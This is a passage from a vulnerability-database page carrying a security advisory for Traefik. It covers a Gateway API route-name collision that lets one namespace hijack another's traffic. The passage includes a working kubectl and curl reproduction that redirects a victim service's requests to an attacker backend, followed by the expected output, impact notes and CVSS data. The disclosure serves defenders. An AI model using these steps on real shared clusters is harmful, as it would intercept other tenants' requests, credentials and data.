Deployment\nmetadata:\n  name: victim\n  namespace: team\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=VICTIM_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team\nspec:\n  selector:\n    app: victim\n  ports:\n  - port: 80\n    targetPort: 5678\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: a-app\n  namespace: team\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nkubectl -n gateway rollout status deployment/traefik-audit --timeout=120s\nkubectl -n team rollout status deployment/victim --timeout=120s\n\nkubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \\\n  \u003e/dev/null 2\u003e\u00261 \u0026\nPORT_FORWARD_PID=$!\ntrap \u0027kill \"$PORT_FORWARD_PID\" 2\u003e/dev/null || true\u0027 EXIT\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H \u0027Host: collision.example\u0027 \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"VICTIM_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf \u0027before collision: %s\\n\u0027 \"$RESPONSE\"\n\nsleep 2\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: attacker\n  namespace: team-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: attacker\n  template:\n    metadata:\n      labels:\n        app: attacker\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=ATTACKER_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team-a\nspec:\n  selector:\n    app: attacker\n  ports:\n  - port: 80\n    targetPort: 5678\nYAML\n\nkubectl -n team-a rollout status deployment/attacker --timeout=120s\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: app\n  namespace: team-a\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H \u0027Host: collision.example\u0027 \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"ATTACKER_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf \u0027after collision:  %s\\n\u0027 \"$RESPONSE\"\n\nkubectl get httproute -A --sort-by=.metadata.creationTimestamp\n```\n\nExpected output on v3.7.8:\n\n```text\nbefore collision: VICTIM_BACKEND\nafter collision:  ATTACKER_BACKEND\nNAMESPACE   NAME    HOSTNAMES\nteam        a-app   [\"collision.example\"]\nteam-a      app     [\"collision.example\"]\n```\n\nThe first Route is older, but creating the second Route changes existing\nvictim traffic to the attacker backend. The same test was also run with the\nofficial standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster.\nThe release archive had SHA-256\n`dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n\n## Impact\n\nIn a shared Gateway deployment, a Route author can hijack requests belonging\nto another namespace when the object names admit a collision. Requests,\ncredentials, authorization headers, and response data can be delivered to an\nattacker-controlled backend. The attacker can also return forged application\ncontent or accept state-changing requests intended for the victim. The\nfavorable naming relationship and accepted shared Gateway are reflected in\nthe high attack-complexity rating.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-fgjj-px3w-67xx",
  "modified": "2026-08-06T16:38:18Z",
  "published": "2026-08-06T16:38:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: Gateway API route identity collision allows cross-namespace backend hijacking"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-71327 (GCVE-0-2026-71327)

GHSA-FGJJ-PX3W-67XX

Summary

Patches

For more information

Tags

Sightings

Nomenclature